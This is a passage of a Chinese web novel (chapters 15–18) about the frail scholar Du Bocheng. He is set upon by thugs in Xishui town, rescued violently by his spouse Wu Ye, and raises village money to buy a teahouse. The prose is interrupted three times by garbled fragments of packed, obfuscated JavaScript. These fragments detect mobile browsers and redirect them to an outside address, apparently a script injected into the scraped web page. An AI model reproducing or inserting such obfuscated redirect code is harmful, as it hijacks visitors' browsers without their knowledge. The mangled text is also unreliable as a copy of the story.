——不仅得赶在邬夜回来前把在镇上安家和开店的事全部落实。还得去找那自作主张的迎宾楼掌柜,好好谈谈心。 15. 溪水镇遇祸 溪水镇远在五十里之外。 是距离下西河村最近,也是方圆数百里内最繁华的一个大镇。 到那里山路崎岖,就算坐马车,最快也得一个时辰。 但如果坐船的话,顺流而下,不到半个时辰就能到。 杜伯承事情挺多。 为了赶时间。 他听说这几日天气好,渡口已开,便带着人和货先坐牛车到隔壁的上溪河村,打算一起走水路。 但时过中午,岸边只剩一条船不说,位置也只余两个。 明月和明霜本想有一个陪着杜伯承,但华章这个小粘人精一时一刻都不能和自家三叔分开。想着风和日丽只有小半个时辰的路,应该也不会有什么事,便让叔侄俩坐船先走,她们跟着拉货的张大海等坐牛车,到时在迎宾楼汇合。 杜伯承拄着华章刚上船,叽叽喳喳大声聊天的各村乡亲们便齐齐止声,神色各异把他从头到脚打量一番后,交头接耳开始蛐蛐蝈蝈。 “你看他身上穿的那些好东西,都是他夫郎给他买的。” “哎呀你看他长得,真的比个哥儿还俊俏。” “他头上戴的那东西是玉的吧?啊?我听说玉老值钱了。” 一个抱着孩子的年轻妇女朝着叔侄俩招招手,“我这有座儿,你俩个快过来,船开了小心跌倒。” 杜伯承刚坐下,女人便打量着他问:“你就是那个下溪河村的杜三郎吧?” 杜伯承没说话,也没有要搭理她的意思。 女人也不在意,笑着说:“长得可真俊。” 一路无话。 快到镇上时,船夫支住船竿来收钱,每人五文。 华章将早就准备好的铜板递过去,扶着杜伯承起身出了船舱。 轮到女人时,她摸摸口袋又掏掏包袱,忽然面色一变,红着眼睛大叫起来。 “哎呀!我的银子!谁偷了我的银子!你个杀千刀的!快还我!也不怕烂了你的手脚!” 各自收拾行囊的人齐齐看她,对那船夫道:“这婆娘不是个好东西,她不想给船费。” 那船夫显然也是这样想,嘴上骂着:“你这种有钱不给的贱人我遇的多了!看老子扒了你的衣裳有没有!”说着真就一把揪住了女人的领子,要扯开了看。 满船人哈哈笑起来看戏,有人起哄道:“她要真没银子,你就摸她几把算了,看她长的不错,你也不亏。哈哈~”有那不赞同的,也只是蹙蹙眉,并不多管闲事。 女人一手抱着哇哇大哭的孩子,一手拼命护住自己的领口,又怒又慌哭着大叫:“我给钱!我给钱!你别糟践我!” 船夫死死揪着她不松手:“哪儿呢?” 女人吓得语无伦次:“岸!岸上!我男人来接我了!让他给!” 船夫大概真被起哄的人激起了色心,眯着眼睛说不信,非要扯开女人的衣裳搜她的身,眼看就要得逞之际,腕子忽被一扣。 他转头,对上一张苍白病弱难掩昳丽的脸。 正是去而复返的杜柏承。 “她和孩子的船费,咳咳~我付了。” 杜伯承用一种温和却不容拒绝的力道,把船夫的手从女人身上扯下来,示意华章给了他十枚沉甸甸的铜板。 被扰了戏看的众人埋怨杜伯承:“多管闲事,她又不是你婆娘。” 杜伯承音调凉凉,反问众人:“你们的家里都没女人?” 这下众人不闹了,表情悻悻都闭了嘴。 船夫看看杜伯承,想起昨儿才听人说,杜伯承回门那日就因为有个人在集市上乱嚼舌根,不仅一家人被从邬家的田庄上赶了出来,有两个在邬家当铺里做工的亲戚,也被一并辞退了…… 心里虽也讨厌杜伯承多管闲事,但到底脑子清明,知道杜伯承背后的邬家自己惹不起。 便又掂着手里的钱骂那畏畏缩缩没被自己占到便宜的女人:“臭婆娘!以后没钱别坐老子的船!再有下次!绝不饶你!” 女人大气不敢出一下,咬牙含泪抱着被吓得嗷嗷大哭的孩子,紧紧跟在杜伯承身边,好不容易捱下了船,这才站在岸边指着那船夫和刚才起哄的人们大骂起来。 “你们这群狗娘养的王八羔子!只认钱不要破脸的杂碎畜生!欺负老娘男人不在身边!你们都等着!看我男人来了不打死你们这群没娘养的狗东西!就你那条破烂船!下次白给老娘钱!老娘也不坐!我呸~你个没了全家的死命鬼!” 她骂完却发现自家男人还没来,忙又跟在杜伯承身后小跑到城门口,喘着粗气道谢。 “大恩人,刚才真是谢谢你。呼~你先别走,等姐男人来了,让他把钱还你。再去姐家,姐给你做些拿手好菜,必须得好好感谢你才行。” 眼看太阳西落。 还有正事要办的杜伯承摇头拒绝道:“下次见面再说吧。” 溪水镇三面环山,一面临水,城门古朴庄严,建得又高又大。因建在溪水边,故而得此名字。 给守城的士兵看过路引,杜柏承拄着华章,慢悠悠穿过那阴风阵阵的城门洞。 回想他穿越前热衷古城遗迹,时常会好奇千百年前古人们的生活。 如今他真的站在了这里,身边来来往往的都是土生土长的古代人,心里却一点好奇心被满足的开心都没有,反而有种说不出的孤单与落寞。 穿过城门洞,便是青石板铺就的长街。道路两边的房屋鳞次栉比,看着十分整齐干净。 杜伯承第一次来时,就对这个镇子充满了好感。决定等把豆腐生意做起来后,就在这里开个店,再买一套环境清幽的大房子住。 不想房子买了,店也找好了,自己却嫁人了…… 杜伯承稍一抬头,就看到了正对着城门的三层高酒楼。 巨大的红色牌匾上,黑字描金,写着大气磅礴的“迎宾楼”三个大字。 屋顶上还插着酒旗,方方面面都特别惹人注目。 华章扬起小脑袋问:“三叔,我们要去迎宾楼吗?” 杜伯承拄着他拐了个方向,花一文钱买了根糖葫芦给他,“去东市。” 那里是租车、买卖人口、各路人牙子的聚集处。 杜伯承循着记忆来到一条小街,找到了当初带自己看店的人牙子——刺头。 见了面也不多话,拿出书契递给他,开门见山说明来意。 刺头戴着大草帽,正坐在地上和一群叫花子玩牌九。好半天才慢悠悠抬起头,把杜伯承从头到脚扫了一遍后,这才吐出嘴里的狗尾巴草,颇有些阴阳怪气的说。 “呦~我当是谁呢?这不是考运不通,却颇得月老和财神爷照顾的杜三爷吗?你那个牛逼哄哄的夫郎呢?怎么没跟你一起来啊?爷还有帐要找他算呢。” 杜伯承此刻正奇怪他为何一反常态?听刺头话中之意居然是和邬夜有仇后,也没问其因由,道:“咳咳~冤有仇债有主,你要想迁怒我,那这买卖不做也罢。定金退我,我再找别家就是。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814223|158627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“退你?凭什么退你?” 刺头像受到什么刺激,把牌一丢,噌的从地上爬起来,冲杜伯承怒吼道。 “我的好兄弟不过就是在集市上把你当个笑话讲一讲,你夫郎!那个黑心的贱人!居然就把他的一家老小赶出了庄子,还把和他八竿子打不着的两个远方兄弟给辞了,害他被亲戚们一顿群殴给死了!你们两口子欠我好兄弟一条命!你还有脸和我要定金?” 他振臂一呼,“兄弟们!” 立时有一堆人拿着棍棒把杜伯承团团围住,响应刺头的号召:“把这为富不仁的东西打死!给咱们的好兄弟报仇!”说着便齐齐冲了上来。 华章吓得头发炸起,跳起来大叫:“啊啊啊!三叔!” 杜伯承一手将华章扯到身后护住,一手去掏随身携带的熟石灰粉。不管三七二一,见人就扬。 拿着棒子扑得最快的几个大汉没想到他会有这招,凶巴巴瞪得老大的两只眼珠子被袭击了个正着,立时双目刺痛,面部灼烧,眼前一黑后,竟是直接瞎了。 纷纷跌倒在地,奔溃痛苦的揉搓着自己的眼睛悲惨大叫:“啊啊啊我的眼睛!” 气的同样中招的刺头跺着脚怒吼:“杜伯承我杀了你!啊啊啊!” 杜伯承已经趁机拉着华章冲出了包围圈,边跑边又掏了一把碎银子朝着身后的窄巷一扔,冲着大街上不知发生了什么的百姓们大喊:“发银子了!都来捡啊!” 等人群一窝蜂拥上去,又忙对华章道:“快去报官!” 华章不走,看着杜伯承大叫:“三叔!你的眼睛!” 杜伯承刚才扬石灰的时候,也被风吹了些到眼睛里,双目红肿流着泪,视线模糊推华章:“别管我!咳咳!快去!” 眼看刺头等已经从人群拥挤的窄巷追了出来,华章才不肯丢下他,咬着牙死命拽着他的手往人多的地方跑,与迎面而来的一男一女撞个正着。 “哎呦小心!”女人扶起华章,指着杜伯承对身边又矮又胖的男人道:“孩子他爹,这就是救了我和孩子的大恩人——哎?恩人你的眼睛!” 说话间刺头已经提着砍刀冲到面前。 女人忙将哭着喊救命的华章护在身后。 男人也站在杜伯承身前,挺着大肚子摆着白白胖胖的两只手,弥勒佛似笑眯眯的给刺头说好话:“这位好汉,咱们有话好好说。” 刺头捂着眼睛胡乱挥着砍刀:“这人害死了我的兄弟!我要给兄弟报仇!不相干的人都给我滚开!” 男人笑眯眯摇头:“这不成,他也救了我婆娘,免了她被扯衣之辱,是我胡老八一辈子的大恩人。你要杀他,得先从我的尸体上踏过去。” “那好!”刺头龇牙咧嘴招呼跟着他的地痞流氓们:“连这些多管闲事的东西一起打!” 说着冲上来一脚踹飞挡路的大胖男。 再两耳光扇飞女人和华章。 提刀照着杜伯承就是一阵胡乱挥砍! 杜伯承视线模糊,刺头比他瞎得还厉害。 凭直觉胡乱躲过几招凶猛刀势后,杜伯承力竭正要往地上摔,忽跌入了一个带有淡淡乌木沉香的熟悉怀抱。 那刀劈后脑的破空声,也停在了耳边。 “……邬夜?”杜伯承闭着眼睛偏过头,有些不确定的问:“是你么?” 邬夜没说话,两指夹着刺头的长刀,目光毒蛇般落在他举刀的腕子上。双指轻轻向上一提,在一大片惊呼声中,夺刀砍去了他的两只手。 16. 被夫郎强吻 杜柏承双目红肿,不受控制流着眼泪,什么都看不见。 听得刺头撕心裂肺惨叫一声:“啊啊啊啊啊——我的手——” 接着就是邬夜响在耳边的冷笑:“你伤我夫君至此,两只手算什么?要不是今天是我娘的忌日,我非要了你的命。” 邬夜说着接过下人递来的水囊,一面用干净冰冷的水往杜伯承的眼睛上冲,一面吩咐道:“带人把凡是动过手的,都给我往死里打。” “是。” 然后便是一阵骨骼断裂,拳脚招招到肉,令人十分牙酸的惊天声响。 在一众哭天喊地的惊呼和求饶声中,杜伯承拉了拉邬夜的衣袖:“咳咳~别闹出人命。” 邬夜看他这狼狈模样,真是心疼又生气。抿唇冷哼一声:“先管好你自己吧。” 对被打的满地找牙的地痞流氓们丢下一句:“我夫君的眼睛要是有什么事,你们一个都别想活。” 将杜柏承打横一抱,疾步往镇上最好的药房回春堂走。 杜柏承现在不止眼睛疼,听着周边嘈杂的人声和非议,胃也开始隐隐做痛起来。 无力挣扎道:“邬夜,咳咳~你快放我下来。” 邬夜却把他抱得更紧,脚步不停道:“老实点,真瞎了小心我不要你。” 光天化日,朗朗乾坤。 杜柏承这个病弱毫无挣扎之力的大男人,被邬夜一个力大无穷的哥儿打横抱在怀中,真是想死的心都有了。 他抗拒不过唯一能做的,就是用袖子死死捂住自己的脸。满心无力任由邬夜当着围观群众们的面,招摇无比的把他抱去了回春堂。 再一次狠狠下定决心:病好后一定要强身健体,把自己曾经的强悍体魄和被邬夜夺走的面子,全都找回来! 邬夜把他的袖子拿开,很是担心的问大夫:“他的眼睛怎么样?” 大夫翻着杜柏承的眼皮看了看,摇摇头道:“没大碍,石灰进去的不多,只是灼到了眼眶,没伤到眼珠子,又及时冲洗过,我再拿药水给他洗洗,敷上一两天草药就没事了。” 待回了迎宾楼,张大海和明月等也坐着牛车赶到。 众人看到杜伯承蒙在眼睛上的白布,均是吓了一跳。 张大海等纷纷上前关心询问的空档,明月和明霜白着脸向邬夜福身行了个礼,垂着脑袋细声道:“都怪奴婢看护不力,请主子责罚。” 杜伯承看不见,偏过头来拍拍邬夜搀扶自己的手:“咳咳~是我倒霉,不怪她们。” 邬夜没说话,待挥退众人,回房只剩下彼此,才问:“说说吧,你做了什么好事?被一群地痞流氓追着打?” 杜柏承说了事情经过,轻咳几声道:“那日在集市上,我让你不要胡来,咳咳~你非不听。现在好了,刺头他们不敢找你的麻烦,就来捏我这个软柿子。” 邬夜一下子抓到重点:“你要在离家这么远的地方开豆腐店?怎么事前都没和我说一声?” 杜伯承对此表示不理解:“我开店,为什么要和你说?” “我!”邬夜抿了下唇,说:“我是一家之主,你的任何事,都——” 杜伯承直接打断他:“一家之主就不要管这些鸡毛蒜皮的小事。” “杜伯承你不识好歹!” 邬夜没好气道:“我之前说把酒楼都给你经营,你不要。好啊,我就当你是对酒楼生意没兴趣。现在你要开豆腐店,你也不和我说,否则南州城最好地段的最好铺子,哪个不是随你挑?” “瞧你把自己搞成这幅狼狈不堪的样子,得亏我提前回来也遇上了,我要没回来呢?你怎么办?还不让我管,我救你的时候,你怎么不说让我不要管?现在小命保住了,就和我翻脸无情?亏你还是个读书人,真没良心!” 杜柏承一副好脾气的样子:“首先这店,咳咳~是我和你成婚前就谈好的,定金都付了,总不能不要吧?而且谁知道会发生这种事。” “其次你也说过,你只是喜欢我的这身皮而已。兴头上是很大方,要哪天这兴头没了呢?你是让我现在事事靠你,以后去喝西北风吗?” 邬夜本来很生气,闻言噗嗤就笑了。 他倾身靠过来,扣着杜柏承的下巴晃晃说:“原来你是担心这个啊。” 视线从他光洁饱满的额头下滑,略过蒙着眼睛的白布,在他高挺的鼻梁骨略略停顿后,定格在他蔷薇色的唇上。 想着杜伯承看不见,便又靠近一点点。 邬夜用目光描摹着他唇部的轮廓,温言承诺说:“你放心,只要你和我好好过,我对你好一辈子。而且我给出去的东西,也不可能再要回来。当然我的意思不是说我有一天会变心,我的意思是你可以对我放一万个心。” 邬夜清浅的呼吸喷洒在杜伯承面部,带着一股熟悉的乌木香,还有那连邬夜自己都不曾察觉到的温柔告白。 裹夹着舟车劳顿的些许风尘,肆无忌惮钻入杜伯承的鼻腔,涌入到他的大脑,虽视线受阻,但不难想像,此情此景,是怎样的一番暧昧景象。 杜柏承偏头想躲。 邬夜微微加重指上力道,不准他有丝毫闪避。 历来说一不二的杜柏承真是受不了同样性格强势的邬夜,这让他觉得不被尊重,且有种受制于人的不舒服感觉。 杜伯承正要再次警告邬夜不要动手动脚,邬夜似是怕他不信,又附耳补充一句:“我发誓我对你的心是真的,否则天打雷劈,不得好死。” 再然后,杜伯承的唇上便传来一个柔软带着弹性的触感。 青涩,笨拙,急促。 又暖又湿,还带着点微微的香。 就在杜柏承眉头轻蹙,抬手想给某人一个耳光让他好好长长记性时,邬夜及时扣住了他的腕子,喘着气再次移唇到他耳边问:“这种感觉,呼~真的很令你讨厌吗?” 杜柏承看不见,凭感觉微微偏过头,也将唇支到他的耳边说:“如果我也喜欢你这身皮的话,咳咳~那也许会很美妙。” “……”邬夜握着杜柏承腕子的手指倏然收紧,咬着细白的牙齿转过头来看他。 真是打不能打,骂不能骂,但这口气不出又实在憋得慌。照着杜伯承那张气死人不偿命的嘴,就是恶狠狠的一口。 “嘶~”杜伯承受痛,忙推他:“邬夜你疯——唔~”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814224|158627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 邬夜扣着杜伯承的腕子,将他的双手分开按放在身体两侧。胸膛向前抵住杜伯承瘦弱的肩膀,将他用不容拒绝的力道推靠在床柱上。闭眼死命咬着杜伯承的舌头不松口,任凭唇齿交叠撕咬出鲜红色的血迹。 彼此疯狂毁灭中,房门突被从外撞开。 华章看看垂着脑袋坐在床头的杜伯承,再看看长腿交叠捂着脸坐在床尾的邬夜,觉得他们之间的气氛好奇怪。 挠挠脑袋道:“三叔,咱们在船上帮过的那个姨姨和她男人,想进来看看你。” “……”杜伯承吸溜着又痛又麻的舌头,摸着唇确定还有脸见人后,这才道:“让他们进来吧。还有,咳咳~你以后进屋前要先扣门,不要突然闯进来,吓人一跳。” “奥~我知道了三叔。” 华章转身出门,邬夜也立马站起身,捂着发麻发烫的脸去到了屏风后。 杜伯承看不见。 听两道脚步声相跟着进来停在床边,男人声音带笑:“恩人,今天多谢你出手相救,帮了我婆娘荷花,免她受扯衣之辱,我先给你磕三个再说。” 然后“噗通!”一声重物砸在地板上的声音,紧接着就是三声十分响亮的“咚咚咚!” 杜伯承被他这特别的道谢方式吓了一跳,忙伸手去扶:“举手之劳,你不必如此。” 男人不知何模样,只听声音,温和带笑,像是脾气极好。 他抓着杜伯承的手爬起来,又是“咚!”的坐在床边,十分感恩的说:“这事于恩人你是举手之劳,但对我胡老八来说,却是天大的恩情。” “我没什么本事,专干买田卖地,售房租店的勾当,这方面的消息也极广……恩人你日后要是有需要,尽管来找我。保证便宜实惠,一分的好处都不要。” 杜伯承正为开店的事愁呢,闻言忙把自己的要求说了,“不知道,咳咳~能不能找到和我之前看的那家差不多的?” 胡老八笑着摆手:“恩人你放心,我给你找个更好的,最迟明日中午,就能给你个信。”和杜伯承约好有消息去迎宾楼寻他后,便和妻子荷花急匆匆走了。 邬夜从屏风后踱步出来,问杜伯承:“为什么不回南州?那里要比这儿繁华的多,离家也近。” 杜伯承正思考邬夜同意两地分居的可能性,闻言摇摇头道:“南州城虽然繁华,但竞争也大。我没开过店,咳咳~先在这里试试水,就算赔本倒闭也不至于太丢人。而且这里离豆腐坊也近,开店的成本会低很多。” “……”邬夜瞧他如此坚定,怕他在溪水镇开了店,心思越发不在南州城的家里。不想同意,但不同意杜柏承也不会听,未免再有争执,提醒他道:“你在这里开店,刺头那群地痞流氓怕是会找你麻烦。” 杜伯承却道:“这个我自有办法,你不用管了。” 邬夜本来也没想着替他解决,甚至还打算让他稍微吃点苦头碰碰壁,这样也不用他再说什么,杜伯承一个弱书生,自己就得退缩。 邬夜嗤了声道:“行吧,我倒要看你有什么办法。” 背地里又吩咐阿诚:“去告诉那胡老八,敢多管闲事,我要他好看。” 17. 塞软饭失败 阿诚办事,邬夜很放心。 但到了晚上,被阿诚狠狠警告过的胡老八,还是挺着他的大肚子,一摇一晃笑眯眯的来了。 邬夜瞟阿诚。 阿诚瞪着眼睛看胡老八,按在剑柄的手蠢蠢欲动。 胡老八笑弯着眼睛,无视掉空气里遍布的杀意与警告,对眼睛蒙着白布的杜伯承道。 “恩人,你知道有一茶楼吗?就在邀月阁的对面,地段那是相当地好。今天下午刚来的消息,老板要和调任到京城当官的儿子去享福,这茶楼只卖不租,三千四百两一次付清。” “消息扣在我手里还没登出去呢,看恩人想要吗?要的话我这就去谈。听老板说他要这钱,也是为了帮儿子打点京中关系,要是知道你买,有邬公子那位颇得圣心的舅舅在,不会贵到哪里去,就是白给也有可能。” 邬夜面色一变刚要说话,杜伯承已经拒绝道:“这是变相的行贿受贿,会给舅舅惹来麻烦的,咳咳~绝对不可以占这种便宜。” 邬夜在心里松了口气:自家夫君果然一点都不笨嘛。 胡老八不懂官场上的事,闻言忙道:“哦哦哦!是我想差了。那要正经谈的话,约摸着他儿子急着上任用银子,短时间内也没人能买得起,我估计三千两就能谈下来。” 杜伯承颔首,“让我想想……” 这有一茶楼不止地段位置好,它的四周还没有其他建筑物做遮挡。建在东西南北四市交汇的街道中心,南来北往的人,无论去哪,都非得从它面前过不可,客流量不是一般的大。 且本体建筑物还是一座非常漂亮的三层红木小楼,精致,又不失大气。 当初杜伯承初到溪水镇,第一眼看中的是迎宾楼,第二眼看中的,就是这有一茶楼。 奈何这两家店就算有钱,也不是能轻易奢望的,更何况当时的他还囊中羞涩。 如今这样的机会落在头上,杜伯承对其他店铺瞬间就失去了所有的兴趣。 唯一不好的,就是没有三千两…… 邬夜瞅了眼身旁沉默不语的杜伯承,知他想要又拿不出这么多钱来,笑笑提前堵住他有可能向自己借钱的嘴,很是遗憾的说:“这次在青州压了不少货款,手头有些紧,要不然我就买给你了。哎~” 他在桌下勾勾杜伯承的手指,好心情的问:“要不,咱还是回南州府城?十里长街的店面随你挑,好不好?” 这话让笑眯眯的胡老八表情僵住,嘴巴一下子张了老大。 南州府城是江南六州的政治文化中心,自古商贸繁华。 但凡能在十里长街拥有一席之地的店主,无不腰缠万贯,好多还都是经营了上百年的老字号。 多少走卒商贩,都把能在那里开一家店,作为自己终生的奋斗目标。 邬夜多大方啊,一开口就是让杜伯承在十里长街随便挑。不知道的,还以为是在挑白菜呢。足见家中财力和势力,都很雄厚。 胡老八不知道杜伯承怎么想,反正他好心动啊。 能在十里长街拥有一家属于自己的店,哪怕是租的呢,也是他做梦都能笑醒的开心事。 但杜伯承却毫不犹豫摇摇头,态度很是坚持道:“我就在溪水镇开。” “呵~” 邬夜冷笑一声没说话,转过头来看胡老八。锐利的丹凤眼里,装的都是:你敢帮他,你死定了。 胡老八又恢复成那副弥勒佛般笑眯眯的样子。 因着已经被阿诚敲打过,知道不愿让杜柏承在溪水镇开店的邬夜也不会在财力上提供给杜伯承帮助,所以在决定把有一茶楼介绍给杜伯承时,就已经帮他想好了万全的对策。 胡老八道:“恩人,你要不愿占便宜,又一下子拿不出这么多钱来,也没关系。我好朋友很多的,可以帮你筹借到一千两,且都不要利息。” “我还有个结拜的义兄,来时已经和他说好了,二厘五的利息,可以贷你一千两,但必须得在过年前还清。剩下的你自己能筹到吗?如果还不行,那咱再看看别的也成。” 如此,杜伯承只要自己凑一千两就行。 但这对于他来说,依然不是一笔小数目。 他的豆腐生意刚起步,手中所有能动的积蓄加起来,满打满算也就七百两。 至于彩礼,其中的劣田和不盈利的小铺虽不值钱,但都是地产,卖了就没有的东西,不能动。 现银倒是在下聘的时候给了他一万两,现在在南州城官府的银店中存着,不到万不得已,他也不想动。 而大婚时收到的那些贵重礼物,都是亲戚和有头有脸的客人送的,拿去当的话,难保不会让人家知道,这样在以后的人情往来上,就得吃挂落…… 但有一茶楼这样的好铺子可遇不可求。 既有如此机会还错过的话,半夜都得后悔到从南睡。 杜伯承正垂眉想着筹钱的法子。 邬夜忽说了句:“你的彩礼不能动。” 杜伯承立马抬头问:“为什么?” 惦记甚至插手媳妇儿的嫁妆和彩礼,可是要被全天下人戳脊梁骨的。 邬夜没道理,就一句:“说不能动就是不能动。” 杜伯承才不让他这话,当即顶回去:“我的彩礼我想怎么动就怎么动,你少管,也管不着。咳咳~逼我入赘,还想做主我的彩礼,你也不嫌臊的慌。” 杜伯承才不是那种故作清高,脑子昏头到为了逞门面,而放弃自己应得利益的白痴。 他拒绝吃邬夜的软饭,一是他看不上邬夜那点家底,也有能力和自信通过自己的奋斗,重新过回穿越前的优渥生活。 二则是他对事业本身的热爱,以及非常清楚明白,只有拥有强大的实力,才能够去对抗邬夜背后的家族,以及他那个位高权重的舅舅。 但这并不代表他就要放弃自己应得的利益。 彩礼就是天经地义他应得的。 今天就算天王老子来,也是杜伯承绝对占理,邬夜无权干涉。 而邬夜一个连自己私库都能全部拱手送给杜伯承的大富翁,自然不会贪图他那点子彩礼。之所以这么说,就是不想他在溪水镇开店罢了。 听杜伯承如此揣测抗拒,邬夜面子上有点过不去,但也确实是他没理,反驳不了什么。抿唇道:“谁稀罕你那点东西,我是说——” “我的事情你少管。”杜伯承也来了火,毫不客气道:“一边待着去。” 邬夜何曾被谁这样对待过,“砰!”一拍桌子站起身。 胡老八心肝乱颤,真怕邬夜这活阎王把杜伯承一刀捅死,忙往开扒拉两人。 “有话好好说嘛,好好说,夫妻两个不要吵架,伤感情。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814225|158627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他笑眯眯主要劝杜伯承:“恩人你也不要多心,你是蒙着眼睛看不见,你夫郎脸上写的,都是关心你。” 杜伯承当然也知邬夜不可能贪图他这点彩礼,不满的,是他事事要做自己主的不尊重和强势,偏过头道:“不需要。” 邬夜其实也知道杜伯承不高兴的点在哪里,但他管着,杜伯承都尚且如此,真若撒手不管,就凭杜伯承这不老实的性子,还不得飞到天边去? 正要再说,华章忽又撞门而入,不等杜伯承开口训斥,就大声道:“三叔!爹和娘来了!” “嗯?”杜伯承看不见,凭感觉朝着房门的方向回过头。 也几乎是他刚一转过脸,李玉柔呜的就哭了出来,疾步走到杜伯承身边,一手捂着唇,一手颤抖着触碰他眼睛上的白布,奔溃哽咽道。 “呜~三弟你这是怎么了?啊,出门的时候还好好的,怎么就变成这样了啊?快给嫂嫂看看,这是不是瞎了啊?呜~” 虽然她已经从张大海等人口中得知了大概的事情经过,也有了心理准备,但当亲眼看到杜伯承这个被她当半个儿子养的小叔子变成这瞎子模样,李玉柔这个做嫂嫂的,还是心疼难过到无以复加。 杜伯承忙安慰说自己没事,问道:“大哥,大嫂,这么晚了,咳咳~你们怎么来了?” 一直没说话的杜光宗将背上的筐“咚!”地放在桌上,边往出拿里面的东西,边道:“听大海说你出了事,就和你嫂嫂赶忙过来了,也没敢让娘知道。本来你二哥也要来的,又怕娘起疑,他腿脚也不方便,就没让他来。” 听得“哗拉”一阵乱响。 杜伯承伸手去摸——全是铜板和碎银裸子。 “大哥,这是……” “听大海说你要开店,怕你钱不够,把家里有的都带来了。大家伙听说了这个事,也都要出把力帮帮你。这是阿满的……村长家的……王阿婆的……” 杜光宗将一个又一个装着碎银和铜板的小布包放在桌上,又把一个小本本塞到杜伯承手里。 “全村人一共给你凑了四百零八两又八百五十二文。这是账本,都说好了,不要利息,你什么时候有什么时候还。谁借了多少,都在这上面记着。大哥字不好,你凑乎看吧,看不懂再问我就成……” 杜伯承唇齿微张,却是一个字都说不出。 李玉柔以为还不够,忙问:“那店到底要多少银子才租给咱?还缺多少?嫂嫂和你大哥再回去凑。” 胡老八瞧杜伯承那样子,知他一开口就要失态,忙笑眯眯的插话道:“够啦!够啦!咱不租铺子,咱买的是有一茶楼!” 一片惊呼热闹中—— 邬夜走到杜伯承身边,在他耳边分外咬牙切齿的说了句:“杜伯承你偏心!” 杜伯承微微偏头。 邬夜的话语里带着怨怼与委屈:“能花那贱……别人的银子,就不肯花我的。” 杜伯承不想理他。 邬夜却又拽住他衣袖,声音也染上沙哑:“我现在就去给娘亲烧纸,说你欺负我,让她半夜来找你。” “……”杜伯承忽想起邬夜好像是说过,今天是他娘的忌日。又想起,今日他出手相救,护着自己时的一幕幕。 轻咳几声,反手扣住他纠缠不休的爪子,“一起吧,我也有状和娘亲告。” 18. 真是个妙人 农历三月十一,是邬夜娘亲的忌日。 迎宾楼,则是娘亲留给邬夜的唯一一点念想。 每年的这个时候,邬夜无论身处何方有多忙,都必定赶回这里,给娘亲烧纸祭拜。 一整天,邬夜都在思考该怎么说,才能让杜伯承同意和他一起去看看娘亲。怕被拒绝,自尊心作祟也一直忍着没开口。 此刻听杜伯承主动提起,邬夜自是求之不得。安顿好哥嫂后,立马牵着他去给娘亲烧纸。 开心感激之下,便想着—— 杜伯承想在溪水镇开店就让他开吧,只要别借机和那黑煤、小哭包鬼混,也别不回家就行。 至于买有一茶楼的银子,以及如何解决刺头等麻烦,自然也由自己全权处理。 杜伯承好歹是自己认定且明媒正娶回来的心上人,哪能眼睁睁看他为难受委屈。 供奉娘亲牌位的佛堂掩映在曲径通幽之处,平日有专人打扫,阿诚等将夫夫俩送到月牙洞门前,便都止了步。 月华如水,杜伯承看不见,只能乖乖被邬夜牵在手里。 也不知是不是多了一个人的缘故,邬夜提着纸钱,牵着手中人一小步一小步往前走的时候,悲伤都好似被分担了一半,祭拜完出来,也罕见地没有红眼睛。 一出月牙门,邬夜便让阿信去镇上的各个铺子里,连夜筹三千两回来。 又对阿诚道:“让人去把刺头那群地痞流氓看好了,不老实就打,打服了为止。” 杜伯承出言道:“暴力解决不了根本问题,除非你真的能把他们全部打死。否则他们表面服气,心里却憋着坏招,你就是看他们一辈子也防不住。” “咳咳~不如买通个内鬼,打听清楚他们到底想干什么,也好见招拆招。” “还有银子的事,咳咳~我和胡大哥都已经说好了,他为了帮我也落了不少人情,还是不要出尔反尔的好。” 邬夜想想也是,让阿诚照杜伯承说的做,依然让阿信去筹银子。 牵着杜伯承边往自己在迎宾楼居住的小院走,边道:“这三千两就放在迎宾楼,你可以不还,但人家和你要的时候,不能没有。” 怕杜柏承拒绝,邬夜用力捏紧他的指骨凑到他的耳边,用很是警告的语气说:“不准拒绝我!不准拒绝我!不准拒绝我!否则我就捣乱,让你开不了店,不信你就给我试试。” 杜伯承轻叹一声,问他:“你多大了?咳咳~这么幼稚。” 哥儿十五岁出嫁,马上就要过十八岁生日的邬夜抿抿唇,小声道:“反正不老。” 拿到有一茶楼房契到官府过了文书的当天晚上,杜伯承拆了眼睛上的布,在迎宾楼摆酒做东。 他本想把胡老八的结拜义兄也叫出来,借机认识结交一下。 但从胡老八口中,杜伯承得知这位义兄是吃官家饭的,说不定贷给自己的银子也是官家的。在对方通过胡老八婉言谢绝了他的请客后,也没坚持。只在心里打定主意,非把这位芝麻小官结识下来不可。 饭桌上邬夜也在。 杜伯承以茶代酒,和胡老八哥哥长弟弟短,聊得十分热切,天南海北无论说什么,杜伯承都能接上话,并给胡老八留足了说话的余地。 